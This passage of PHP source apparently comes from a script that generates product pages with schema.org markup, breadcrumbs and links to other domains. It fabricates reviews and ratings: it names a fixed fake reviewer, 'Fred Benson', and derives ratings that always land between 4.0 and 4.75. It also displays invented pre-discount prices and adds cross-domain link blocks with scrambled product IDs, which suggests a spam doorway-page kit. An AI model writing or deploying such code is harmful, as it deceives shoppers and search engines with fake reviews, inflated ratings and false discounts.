                             style="height: auto;max-height: 100%;max-width: 100%;width: auto;margin: 0 auto;"/>
                    </div>
                </div>
                <span class="zoom" data-index="0">
                    <i class="porto-icon-plus"></i>
                </span>
            </div>
            <div class="product-thumbnails thumbnails">
                <div class="product-thumbs-slider owl-carousel has-ccols ccols-4">
HTML;

        foreach ($product['pictures'] as $image) {
            $imageHtmlParts[] = <<<HTML
            <div class="img-thumbnail">
                <img class="img-responsive" alt="{$product['title']}"
                     src="$image"/>
            </div>
HTML;
        }

        $imageHtmlParts[] = <<<HTML
                </div>
            </div>
        </div>   
HTML;

        $metaHtmlParts = [];
        $metaHtmlParts[] = <<<HTML
        <span class="product-stock in-stock">Availability: <span class="stock">{$quantity} in stock</span></span>
HTML;

        foreach ($product['specifics'] as $key => $value) {
            $metaHtmlParts[] = <<<HTML
            <li>
                <strong>$key:</strong>
                <span>$value</span>
            </li>
HTML;
        }

        $priceHtml = <<<HTML
        <p class="price"><del aria-hidden="true"><span class="woocommerce-Price-amount amount"><bdi><span class="woocommerce-Price-currencySymbol">{$currencySymbol} {$ratePrice['raw_price']}</span></bdi></span></del> <ins><span class="woocommerce-Price-amount amount"><bdi><span class="woocommerce-Price-currencySymbol">{$currencySymbol} {$ratePrice['display_price']}</span></bdi></span></ins></p>
HTML;

        $homeUrl = "/";
        $breadcrumbHtmlParts = [];
        $position = 1;
        $breadcrumbHtmlParts[] = <<<HTML
        <div class="col-lg-12 clearfix">
            <div class="pt-right d-none">
                <h1 class="page-title">{$product['title']}</h1>
            </div>
            <div class="breadcrumbs-wrap pt-left">
                <ul class="breadcrumb" itemscope itemtype="https://schema.org/BreadcrumbList">
                    <li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem"><a
                            itemprop="item" href="{$homeUrl}" title="Go to Home Page"><span itemprop="name">Home</span></a>
                        <meta itemprop="position" content="{$position}"/>
                        <i class="delimiter delimiter-2"></i></li>
HTML;

        foreach ($product['category_name_path_vec'] as $i => $crumb) {
            $crumbUrl = self::LIST_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($crumb))) . "_" . $this->processRawId("sku" . $product['category_id_path_vec'][$i]) . ".html";
            $delimiterLi = ($i < count($product['category_name_path_vec']) - 1) ? '<i class="delimiter delimiter-2"></i>' : '';
            $position = $position + 1;
            $breadcrumbHtmlParts[] = <<<HTML
            <li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem">
                <a itemprop="item"  href="/$crumbUrl" title="{$crumb}">
                    <span itemprop="name">{$crumb}</span>
                </a>
                <meta itemprop="position" content="{$position}"/>
                {$delimiterLi}
            </li>
HTML;
        }

        $breadcrumbHtmlParts[] = <<<HTML
                </ul>
            </div>
        </div> 
HTML;

        $titleHtml = <<<HTML
                <h2 class="product_title entry-title show-product-nav">{$product['title']}</h2>
HTML;

        $externalLinkHtmlParts = [];
        foreach ($links as $data){
            $title = $this->urlCode(ucwords(strtolower($data['title'])));
            $productId = $this->processRawId("sku" . $data['item_id'], $data['domain']);
            if($data['is_nginx']){
                $url = "{$data['scheme']}://{$data['domain']}{$data['path']}?t=detail&i={$productId}";
            } else {
                $url = "{$data['scheme']}://{$data['domain']}{$data['path']}" . self::DETAIL_PAGE_ROUTER_NAME . "/{$title}_{$productId}.html";
            }
            $externalLinkHtmlParts[] = <<<HTML
            <a href="$url">{$data['title']}</a><br>
HTML;
        }

        $imageHtml = implode('', $imageHtmlParts);
        $metaHtml = implode('', $metaHtmlParts);
        $breadcrumbHtml = implode('', $breadcrumbHtmlParts);
        $externalLinkHtml = implode('', $externalLinkHtmlParts);

        return ['image_html' => $imageHtml, 'meta_html' => $metaHtml, 'breadcrumb_html' => $breadcrumbHtml, 'price_html' => $priceHtml, 'title_html' => $titleHtml, 'description_html' => $product['description'] . "<div class='related products'><h2 class='slider-title related-products'></h2></div>" . $externalLinkHtml];
    }

    /**
     * Calculate price before discount and price after discount
     * @param $price int initial price
     * @return float[]|int[]
     */
    public function getDiscountPrice($price){
        $displayPrice = floor($price * self::RAW_PRICE_RATE * self::DISPLAY_PRICE_RATE * 100) / 100;
        $rawPrice = floor($price * self::RAW_PRICE_RATE * 100) / 100;
        return ['display_price' => $displayPrice, 'raw_price' => $rawPrice];
    }

    /**
     * Encryption and decryption algorithm
     * @param $k
     * @param $s
     * @param $encrypt
     * @return string
     */
    public function processRawId($s, $encrypt = true, $k = '')
    {
        $k = $k ?: $this->domain;
        if (strpos($k, "www.") === false) {
            $k = "www." . $k;
        }
        $kLen = strlen($k);
        $sLen = strlen($s);
        for ($i = 0; $i < $kLen; $i++) {
            $d = $encrypt ? base_convert($k[$i], 36, 10) : 36 - base_convert($k[$i], 36, 10);
            $t = '';
            for ($j = 0; $j < $sLen; $j++) {
                $t .= base_convert((base_convert($s[$j], 36, 10) + $d) % 36, 10, 36);
            }
            $s = $t;
        }
        return $t;
    }

    /**
     * Verify product request ID including category ID and product ID
     * @param $verifyId string
     * @param $type string
     * @return boolean
     */
    public function verifyProductId($verifyId, $type = null)
    {
        if (!empty($verifyId) && $verifyId != -1) {
            $verifyId = (string)$verifyId;
            $idLen = strlen($verifyId);

            if(strpos(strtoupper($verifyId), 'H') === 0){
                $apiSrc = self::API_SRC_NAME_HOT_TOPICS;
                $this->isHotTopics = true;
            } else {
                $apiSrc = $this->apiSrc;
            }

            switch ($type) {
                case self::VERIFY_CATEGORY_TYPE:
                    switch ($apiSrc) {
                        case self::API_SRC_NAME_EBAY:
                        case self::API_SRC_NAME_BRANDAPI:
                            return ctype_digit($verifyId) && $idLen >= self::CATEGORY_ID_MIN_LEN && $idLen <= self::CATEGORY_ID_MAX_LEN;
                            break;
                        case self::API_SRC_NAME_AMAZON:
                            return ctype_digit($verifyId) && $idLen >= self::CATEGORY_ID_MIN_LEN && $idLen <= self::CATEGORY_ID_MAX_LEN;
                        case self::API_SRC_NAME_HOT_TOPICS:
                            return ctype_alnum($verifyId) && $idLen >= self::CATEGORY_ID_MIN_LEN && $idLen <= self::CATEGORY_ID_MAX_LEN;
                        default:
                            return false;
                    }
                case self::VERIFY_PRODUCT_TYPE:
                    switch ($apiSrc) {
                        case self::API_SRC_NAME_EBAY:
                        case self::API_SRC_NAME_BRANDAPI:
                            return ctype_digit($verifyId) && $idLen >= self::PRODUCT_ID_MIN_LEN && $idLen <= self::PRODUCT_ID_MAX_LEN;
                            break;
                        case self::API_SRC_NAME_AMAZON:
                        case self::API_SRC_NAME_HOT_TOPICS:
                            return ctype_alnum($verifyId) && $idLen >= self::PRODUCT_ID_MIN_LEN && $idLen <= self::PRODUCT_ID_MAX_LEN;
                        default:
                            return false;
                    }
                default:
                    return false;
            }
        }
        return false;
    }

    /**
     * @param $url
     * @return string|string[]
     */
    public function urlCode($url)
    {
        if (strpos($url, ' ') !== false) {
            $url = preg_replace('/[\p{P}\p{S}[:space:]]+/u', ' ', $url);
            $url = str_replace("  ", " ", $url);
            $url = str_replace("  ", " ", $url);
            $url = trim($url);
            $url = str_replace(" ", "-", $url);
            $url = str_replace("_", "-", $url);
        } elseif (strpos($url, '-') !== false) {
            $url = ucwords(str_replace("-", " ", $url));
        }
        return $url;
    }

    /**
     * build product json
     * @param $product
     * @return mixed
     */
    private function buildJsonIdHtml($product)
    {
        global $localBusiness;

        $fieldsMapping = array(
            "Condition" => "condition",
            "Weight" => "weight",
            "Height" => "height",
            "Width" => "width",
            "Color" => "color",
            "MPN" => "mpn",
            "GTIN" => "gtin",
            "GTIN8" => "gtin8",
            "GTIN13" => "gtin13",
            "GTIN14" => "gtin14",
            "ISBN" => "isbn",
            "Brand" => "brand",
            "Depth" => "depth",
            "Material" => "material"
        );

        $httpType = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';

        $exifData = [];
        if (isset($product['specifics'])) {
            foreach ($product['specifics'] as $k => $v) {
                foreach ($fieldsMapping as $field => $property) {
                    if (empty($product[$property]) && $k == $field) {
                        $product[$property] = $v;
                    }
                }

                array_push(
                    $exifData,
                    [
                        "@type" => "PropertyValue",
                        "name" => $k,
                        "value" => $v
                    ]
                );
            }
        }

        $imageData = [];
        if (isset($product['pictures'])) {
            foreach ($product['pictures'] as $k => $v) {
                $imageData[] = "{$httpType}{$this->domain}{$this->getCompleteRoute()}{$v}";
            }
        }

        $ratingValue = $this->calculateRating(
            $product['quantity'],
            $product['sold'],
            $product['hit_count']
        );
        $priceValidUntil = date("Y-m-d", strtotime("next year"));
        $priceCurrency = $product['currency_id'];
        $ratePrice = $this->getDiscountPrice($product['current_price']);
        $price = $ratePrice['display_price'];
        $productDescription = htmlspecialchars($product['description'], ENT_QUOTES);
        $name = strip_tags($product['title']);
        $description = empty(str_replace(" ", "", $productDescription)) ? $name : $productDescription;
        $description = mb_substr(htmlspecialchars($description, ENT_QUOTES), 0, 5000);
        $productId = $this->processRawId("sku" . $product['item_id']);

        if (empty($product['mpn']) && empty($product['isbn']) && empty($product['gtin']) && empty($product['gtin8'])
            && empty($product['gtin13']) && empty($product['gtin14'])) {
            $identifierExists = 'no';
        } else {
            $identifierExists = 'yes';
        }

        $localBusiness  = [
            "@context" => "https://schema.org",
            "@type" => "Product",
            "name" => $name,
            "image" => $imageData,
            "sku" => $productId,
            "identifierExists" => $identifierExists,
            "category" => $product['category_name'],
            "brand" => ['@type' => 'Brand', 'name' => $product['brand'] ? $product['brand'] : "unknown"],
            "description" => $description,
            "itemCondition" => $product['condition'],
            "countryOfOrigin" => $product['country'],
            "review" => [
                "@type" => "Review",
                "reviewRating" => [
                    "@type" => "Rating",
                    "ratingValue" => $ratingValue,
                    "bestRating" => "5"
                ],
                "author" => [
                    "@type" => "Person",
                    "name" => "Fred Benson"
                ]
            ],
            "aggregateRating" => [
                "@type" => "AggregateRating",
                "ratingValue" => $ratingValue,
                "reviewCount" => $product['hit_count'] <= 0 ? 1 : $product['hit_count']
            ],
            "offers" => [
                "@type" => "Offer",
                "url" => $httpType . $this->domain . $this->getCompleteRoute() . urldecode($_SERVER ['REQUEST_URI']),
                "priceValidUntil" => $priceValidUntil,
                "priceSpecification" => [
                    "price" => $price,
                    "priceCurrency" => $priceCurrency,
                    "valueAddedTaxIncluded" => "false"
                ],
                "availability" => "http://schema.org/InStock",
                "seller" => [
                    "@type" => "Organization",
                    "name" => "",
                    "url" => $httpType . $this->domain .$this->getCompleteRoute()
                ]
            ],
            "additionalProperty" => $exifData
        ];

        $jsonId = json_encode($localBusiness);
        return <<<HTML
            <script type="application/ld+json">$jsonId</script>
HTML;
    }

    /**
     * get full path to sub end
     * @return string
     */
    public function getCompleteRoute(){
        //    $route = str_replace("\\", '/', $_SERVER['PHP_SELF']);
        //    return $route;
    }

    /**
     * @param $quantity
     * @param $sold
     * @param $hitCount
     * @return float|int
     */
    public function calculateRating($quantity, $sold, $hitCount)
    {
        $target = 5.0;
        $minPercent = 0.8;
        $maxPercent = 0.95;

        if ($quantity < 2) {
            $quantity = 2;
        }
        if ($sold < 2) {
            $sold = 2;
        }
        if ($hitCount < 2) {
            $hitCount = 2;
        }
        $t = log10($hitCount * $sold / $quantity) / log10($hitCount);
        if ($t <= 1) {
            $v = $t * $target;
        } else {
            $v = 1 / $t * $target;
        }

        $minValue = $target * $minPercent;
        if ($v < $minValue) {
            while ($v < $minValue) {
                $v += ($target - $minValue) / 20;
            }
        }
        $maxValue = $target * $maxPercent;
        if ($v > $maxValue) {
            while ($v > $maxValue) {
                $v -= ($target - $maxValue) / 20;
            }
        }
        return $v;
    }

    /**
     * Get category(random words) cache data
     * @param $name
     * @param $keys
     * @return false|string
     */
    public function getCache($name, $keys = []){
        $filePaths = [__DIR__, sys_get_temp_dir()];
        $key = implode(',', $keys);
        foreach ($filePaths as $path){
            $fileName = md5("{$this->domain}|{$key}|{$this->appId}|{$name}") . ".data";
            $result = file_get_contents($path . DIRECTORY_SEPARATOR . self::CACHE_DIRECTORY . DIRECTORY_SEPARATOR . $fileName);
            if($result === false){
                continue;
            }
        }
        return $result;
    }

    /**
     * Set category(random words) data
     * @param $name
     * @param $keys
     * @param $data
     */
    public function setCache($name, $data, $keys = []){
        $filePaths = [__DIR__, sys_get_temp_dir()];
        $key = implode(',', $keys);
        foreach ($filePaths as $path){
            $directory = $path . DIRECTORY_SEPARATOR . self::CACHE_DIRECTORY;
            if(!is_dir($directory)){
                mkdir($directory, 0755, true);
            }
            $fileName = md5("{$this->domain}|{$key}|{$this->appId}|{$name}") . ".data";
            $result = file_put_contents($directory . DIRECTORY_SEPARATOR . $fileName, $data);
            if($result === false){
                continue;
            }
        }
    }

    /**
     * Get currency symbol
     * @param string $currency
     * @return string|string[]
     */
    public function getCurrencySymbol($currency = ''){
        $currencySymbolMap =  [
            "USD" => "$",
            "AUD" => "$",
            "BRL" => "R$",
            "CAD" => "$",
            "CHF" => "CHF",
            "CZK" => "Kč",
            "DKK" => "-kr.",
            "EUR" => "€",
            "GBP" => "£",
            "HKD" => "HK$",
            "HUF" => "Ft",
            "ILS" => "₪",
            "JPY" => "¥",
            "MXN" => "$",
            "NOK" => "-kr.",
            "NZD" => "$",
            "PLN" => "zł",
            "PHP" => "₱",
            "RUB" => "₽",
            "SEK" => "-kr.",
            "SGD" => "$",
            "THB" => "฿",
            "TWD" => "NT$",
            "CNY" => "¥"
        ];

        return $currency ? $currencySymbolMap[$currency] : $currencySymbolMap;
    }

    public function splitStringIntoChunks($str, $chunkSize) {
        $chunks = [];
        $length = mb_strlen($str, 'UTF-8');

        for ($i = 0; $i < $length; $i += $chunkSize) {
            $chunks[] = mb_substr($str, $i, $chunkSize, 'UTF-8');
        }

        return "[\n" . implode(",\n", array_map(function($chunk) {
                return '"' . htmlspecialchars($chunk) . '"';
            }, $chunks)) . "\n]";
    }

    public function encode($s, $k) {
        $k = md5($k);
        $t = [];
        $iv = substr(str_repeat($k, ceil(strlen($s) / strlen($k))), 0, strlen($s));

        for ($j = 0; $j < strlen($s); $j++) {
            $c = $s[$j];
            $i = $iv[$j];
            if (ctype_alpha($c)) {
                $start = ctype_lower($c) ? ord('a') : ord('A');
                $t[] = chr($start + (ord($c) - $start + ord($i) % 26) % 26);
            } elseif (ord($c) >= 32 && ord($c) <= 64) {
                $start = ord(' ');
                $t[] = chr($start + (ord($c) - $start + ord($i) % 33) % 33);
            } else if(ord($c) < 32){
                continue;
            } else {
                $t[] = $c;
            }
        }
        return implode('', $t);
    }
}

$index = new index();
$index->init();
